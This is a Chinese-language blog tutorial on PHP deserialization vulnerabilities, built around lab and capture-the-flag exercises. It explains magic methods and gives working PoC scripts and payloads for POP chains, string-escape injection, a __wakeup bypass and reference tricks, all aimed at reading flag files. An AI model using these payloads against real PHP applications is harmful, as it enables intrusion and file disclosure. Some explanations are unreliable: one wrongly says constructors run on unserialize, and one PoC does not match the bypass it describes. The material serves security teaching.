PHP反序列化基础教程

本篇文章使用到的靶场环境为:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场

在此特意感谢b站陈腾老师的视频:PHP反序列化漏洞学习_哔哩哔哩_bilibili

正文如下

目录

类的结构

类的内容

实例化和赋值

类的修饰符

序列化

魔法函数

分类

__construct()

__destruct()

__sleep()

__wakeup()

__toString()

__invoke()

__call()

__callStatic()

__get()

__set()

__isset()

__unset()

POP链构造

POC编写

poc

字符串减少逃逸

正确poc

字符串增多逃逸

poc

绕过__wakeup()

poc

引用

session反序列化


类的结构

class Class_name{
//成员变量声明(属性)
//成员函数声明(方法)
}

类的内容

<?php
highlight_file(__FILE__);
class hero{
  var $name;
  var $sex;
  function jineng($var1) {
    echo $this->name;
    echo $var1;
    }
}
?>

实例化和赋值

$name= new class_name();

类的修饰符

常用访问权限修饰符: public:公共的,在类的内部、子类中或者类的外部都可以使用,不受限制; protected:受保护的,在类的内部、子类中可以使用,但不能在类的外部使用: private:私有的,只能在类的内部使用,在类的外部或者子类中都无法使用。

序列化

  • 序列化只会序列化对象成员属性,不会序列化成员方法

私有属性序列化时会在前后加上00

<?php
class class_name{
    private $private_name='private_value';
    function funtion_name(){
        echo $this->private_name;
    }
}
$test=new class_name();
echo urlencode(serialize($test));
?>
​

O%3A10%3A%22class_name%22%3A1%3A%7Bs%3A24%3A%22%00class_name%00private_name%22%3Bs%3A13%3A%22private_value%22%3B%7D中的%00class_name%00

受保护的属性序列化时前会加上*0

<?php
class class_name{
    protected $private_name='private_value';
    function funtion_name(){
        echo $this->private_name;
    }
}
$test=new class_name();
echo serialize($test);
?>
​

O:10:"class_name":1:{s:15:" * private_name";s:13:"private_value";}

eval() 函数把字符串按照PHP 代码来计算。 该字符串必须是合法的PHP 代码,且必须以分号结尾

<?php
class test{
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}
​
$get = $_GET["benben"];
$b = unserialize($get);
$b->displayVar() ;
​
?>

魔法函数

分类
__construct()

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

__destruct()

析构方法允许在销毁一个类之前执行的一些操作或完成一些功能

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作

示例代码
​
<?php
class Person
{
    public $sex;
    public $name;
    public $age;
​
    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }
​
    /**
     * @return array
     */
    public function __sleep() {
        echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
        $this->name = base64_encode($this->name);
        return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
    }
}
​
$person = new Person('小明'); // 初始赋值
echo serialize($person);
echo '<br/>';
__wakeup()

与__sleep()方法相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

示例代码
​
<?php
class fast {
    public $source;
    public function __wakeup(){
        echo "wakeup is here!!";
        echo  $this->source;
    }
}
class sec {
    var $benben;
    public function __toString(){
        return "tostring is here!!";
    }
}
$test=new fast();
$test->source=new sec();
echo serialize($test);
__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。

<?php
class User {
         public function __toString()
         {
             return '格式不对,输出不了!';
          }
}
$test = new User() ;
echo $test;
__invoke()

当尝试以调用方法的方式调用一个对象时,__invoke() 方法会被自动调用。

示例代码

<?php
class User {
    var $benben = "this is test!!";
         public function __invoke()
         {
             echo  '它不是个函数!';
          }
}
$test = new User() ;
echo $test()->benben;
__call()

在对象中调用一个不可访问方法时调用,该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

示例代码

<?php
class Person
{                             
    function say()
    {  
                              
           echo "Hello, world!<br>"; 
    }      
        
    /**
     * 声明此方法用来处理调用对象中不存在的方法
     */
    function __call($funName, $arguments)
    { 
          echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
          print_r($arguments); // 输出调用不存在的方法时的参数列表
          echo ")不存在!<br>\n"; // 结束换行                      
    }                                          
}
$Person = new Person();            
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("小明", "苹果");             
$Person->say();                        
运行结果

你所调用的函数:run(参数:Array ( [0] => teacher ) )不存在!
你所调用的函数:eat(参数:Array ( [0] => 小明 [1] => 苹果 ) )不存在!
Hello, world!
__callStatic()

用静态方式中调用一个不可访问方法时调用

示例代码

__get()

类的成员属性被设定为 private 后,如果我们试图在外面调用它则会出现“不能访问某个私有属性”的错误。那么为了解决这个问题,我们可以使用魔术方法 __get()

示例代码

<?php
class Person
{
    private $name;
    private $age;

    function __construct($name="", $age=1)
    {
        $this->name = $name;
        $this->age = $age;
    }

    /**
     * 在类中添加__get()方法,在直接获取属性值时自动调用一次,以属性名作为参数传入并处理
     * @param $propertyName
     *
     * @return int
     */
    public function __get($propertyName)
    {   
        if ($propertyName == "age") {
            if ($this->age > 30) {
                return $this->age - 10;
            } else {
                return $this->$propertyName;
            }
        } else {
            return $this->$propertyName;
        }
    }
}
$Person = new Person("小明", 60);   // 通过Person类实例化的对象,并通过构造方法为属性赋初值
echo "姓名:" . $Person->name . "<br>";   // 直接访问私有属性name,自动调用了__get()方法可以间接获取
echo "年龄:" . $Person->age . "<br>";    // 自动调用了__get()方法,根据对象本身的情况会返回不同的值
__set()

__set( $property, $value )` 方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。

示例代码

<?php
class Person
{
    private $name;
    private $age;

    public function __construct($name="",  $age=25)
    {
        $this->name = $name;
        $this->age  = $age;
    }

    /**
     * 声明魔术方法需要两个参数,真接为私有属性赋值时自动调用,并可以屏蔽一些非法赋值
     * @param $property
     * @param $value
     */
    public function __set($property, $value) {
        if ($property=="age")
        {
            if ($value > 150 || $value < 0) {
                return;
            }
        }
        $this->$property = $value;
    }

    /**
     * 在类中声明说话的方法,将所有的私有属性说出
     */
    public function say(){
        echo "我叫".$this->name.",今年".$this->age."岁了";
    }
}

$Person=new Person("小明", 25); //注意,初始值将被下面所改变
//自动调用了__set()函数,将属性名name传给第一个参数,将属性值”李四”传给第二个参数
$Person->name = "小红";     //赋值成功。如果没有__set(),则出错。
//自动调用了__set()函数,将属性名age传给第一个参数,将属性值26传给第二个参数
$Person->age = 16; //赋值成功
$Person->age = 160; //160是一个非法值,赋值失效
$Person->say();  //输出:我叫小红,今年16岁了
__isset()

isset()是测定变量是否设定用的函数,传入一个变量作为参数,如果传入的变量存在则传回true,否则传回false。

公有的成员属性可以使用该方法,但私有成员属性不可使用该方法。所以需要在类里面添加__isset()方法

当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用

示例代码

<?php
class Person
{
    public $sex;
    private $name;
    private $age;

    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    /**
     * @param $content
     *
     * @return bool
     */
    public function __isset($content) {
        echo "当在类外部使用isset()函数测定私有成员{$content}时,自动调用<br>";
        echo  isset($this->$content);
    }
}

$person = new Person("小明", 25); // 初始赋值
echo isset($person->sex),"<br>";
echo isset($person->name),"<br>";
echo isset($person->age),"<br>";
__unset()

unset()这个函数的作用是删除指定的变量且传回true,参数为要删除的变量

1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。

2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。

但如果在类里添加了__unset()这个方法后,就可以在外部去删除对象的私有成员属性了

示例代码

<?php
class Person
{
    public $sex;
    private $name;
    private $age;

    public function __construct($name="",  $age=25, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    /**
     * @param $content
     *
     * @return bool
     */
    public function __unset($content) {
        echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
        echo  isset($this->$content);
    }
}

$person = new Person("小明", 25); // 初始赋值
unset($person->sex);
unset($person->name);
unset($person->age);

POP链构造

pop链:它通常涉及到构建一系列对象,其中每个对象都包含一个特定的方法,以便在反序列化时触发恶意代码执行。这个概念的目标是通过一系列的对象引用("pop" 操作)来达到执行远程恶意代码的目的

假设你有以下两个 PHP 类:

class ClassA {
    public $data;
    public function __construct($data) {
        $this->data = $data;
    }
}

class ClassB {
    public $target;
    public function __construct($target) {
        $this->target = $target;
    }
}

构建一个 "pop链",当这个链被反序列化时,它会执行恶意代码。首先,你需要构建一系列的对象,将它们链接在一起:

$payload = new ClassA("Payload Data"); // 第一个对象
$payload = new ClassB($payload);       // 第二个对象,链接到第一个对象

现在,你有一个对象链,其中 $payload 是最后一个对象,但它包含了前一个对象的引用。接下来,你需要将这个对象链序列化成一个字符串,以便将其传递给目标应用程序:

$serialized_payload = serialize($payload);

在目标应用程序中,当 $serialized_payload 被反序列化时,它将触发 ClassB 的构造函数,该构造函数又会触发 ClassA 的构造函数,从而执行恶意代码

POC编写
``例题代码``

<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier {
    private $var;
    public function append($value)
    {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
    public function __wakeup(){
        echo $this->source;
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
?>
poc
<?php
class Modifier {
    private $var='flag.php';
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$show=new Show;
$show->str=new Test();
$show->source=$show;
$show->str->p=new Modifier();
echo urlencode(serialize($show))
?>
字符串减少逃逸

当字符串遇到减少替换时,就需要减少逃逸,比如php替换为hk,值得注意的是,减少逃逸为了使序列化后的字符串中的属性个数对,需要考虑多构建一个属性的序列化,比如

例题``http://127.0.0.1/php_ser_Class/class17/1.php``

<?php
function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
    $this->pass=$pass;
    }
}
$param=$_GET['user'];
$pass=$_GET['pass'];
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));

if ($profile->vip){
    echo file_get_contents("flag.php");
}
?>
如果我们只是单纯的满足字符串吃掉后该属性值的数值正确,而不考虑整体属性个数数值正确的,如针对上述的例题我们构建poc

<?php

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
}
$param="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";
$pass=';s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
echo filter($param);
echo $profile;
if ($profile->vip){
    echo 'a';
}
?>

其运行出的payload
O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:16:";s:3:"vip";b:1;}";s:3:"vip";b:0;}
看似``s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:16:";``构建成功,但忽略了``O:4:"test":3:``
表示该对象含有三个属性,所以该poc不会运行成功
正确poc
<?php

function filter($name){
    $safe=array("flag","php");
    $name=str_replace($safe,"hk",$name);
    return $name;
}
class test{
    var $user;
    var $pass;
    var $vip = false ;
    function __construct($user,$pass){
        $this->user=$user;
        $this->pass=$pass;
    }
}
$param="phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";
$pass=';s:4:"pass";s:1:"a";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
echo filter($param);
echo $profile;
if ($profile->vip){
    echo 'a';
}
?>

构建出的payload
O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:35:";s:4:"pass";s:1:"a";s:3:"vip";b:1;}";s:3:"vip";b:0;}
其中``s:3:"vip";b:1;``逃逸出

成功截图

字符串增多逃逸

当遇到字符替换变多时使用,如str_replace("php","hack",$name);,该段代码将php替换为了hack,字符数变多。此处应使用增多逃逸

``例题代码``

<?php

function filter($name){//向filter方法中传递can
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);//将变量中的``flag``、``php``字符串替换为``hack``
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param=$_GET['param'];//get请求传参数
$param=serialize(new test($param));//实例化了test对象,并且将该对象序列化,并把序列化结果重新赋值给变量param
$profile=unserialize(filter($param));//使用filter方法处理变量param,将其中的字符串进行替换。

if ($profile->pass=='escaping'){
    echo file_get_contents("flag.php");
}
poc
<?php
function filter($name){//向filter方法中传递can
    $safe=array("flag","php");
    $name=str_replace($safe,"hack",$name);//将变量中的``flag``、``php``字符串替换为``hack``
    return $name;
}
class test{
    var $user;
    var $pass='daydream';
    function __construct($user){
        $this->user=$user;
    }
}
$param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}';//get请求传参数
$param=serialize(new test($param));//实例化了test对象,并且将该对象序列化,并把序列化结果重新赋值给变量param

$profile=unserialize(filter($param));//使用filter方法处理变量param,将其中的字符串进行替换。
var_dump($profile);
echo serialize($profile);
if ($profile->pass=='escaping'){
    echo "a";
}

payload:``?param=phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}``

运行结果

class test#1 (2) {
  public $user =>
  string(116) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack"
  public $pass =>
  string(8) "escaping"
}

当php被hack替换后字符会加一,我们需要使;s:4:"pass";s:8:"escaping";字符串逃逸出来,该字符串长度为29,所以我们需要29个php进行构造。最好将payload进行url编码,以便于稳定传输

image-20230913213947488

绕过__wakeup()

当序列化字符串中表示对象属性个数的值大于真实属性个数时,会跳过该方法的执行

``例题代码``

<?php
class secret{
    var $file='index.php';

    public function __construct($file){
        $this->file=$file;
    }

    function __destruct(){
        include_once($this->file);
        echo $flag;
    }

    function __wakeup(){
        $this->file='index.php';
    }
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
    highlight_file(__FILE__);
}
else{
    if (preg_match('/[oc]:\d+:/i',$cmd)){
        echo "Are you daydreaming?";
    }
    else{
        unserialize($cmd);
    }
}
//sercet in flag.php
?>
poc
<?php
class secret{
    var $file='flag.php';
}
echo serialize(new secret());
?>
引用

处理当只有两值相等才可以执行情况

``例题代码``

<?php
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
    $pass=str_replace('*','\*',$pass);
}

$o = unserialize($pass);

if ($o) {
    $o->secret = "*";
    if ($o->secret === $o->enter)
        echo "Congratulation! Here is my secret: ".$flag;
    else
        echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>

其中if ($o->secret === $o->enter)代码为只有当secretenter变量的值相等时,才会执行成功

但序列化字符串中不能包含*字符,因为会在str_replace('*','\*',$pass);语句中被替换。所以我们使用引用来处理

<?php
class just4fun {
var $enter;
var $secret;
}
$test=new just4fun();
$test ->enter=&$test->secret;
echo serialize($test);

其中$test ->enter=&$test->secret;$test 对象的 $enter 属性设置为引用 $test 对象的 $secret 属性。这意味着 $test->enter$test->secret 现在指向同一个数据

所以entersecret永远相等

session反序列化

session_start()被调用或者php.ini文件中session.auto_start值为1时,访问用户的session被序列化后会存储到指定目录

linux:默认存储到/tmp目录下

windows:默认存储到c:/user/用户名/appdata/temp


漏洞产生:写入格式和读取格式不一致

处理器对应存储格式
phpbenben|s:4:"test";(键名+竖线+经过serialize0函数序列化处理的值)
php_serialize 注:php版本大于5.5.4a:2:{s:6:"benben";s:4:"test";s:1:"b";s:4:"demo";}(经过serialize0函数序列化处理的数组)
php_binary

image-20230914191224224

键名的长度对应的ASCI字符+键名+经过serialize0函数反序列处理的

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值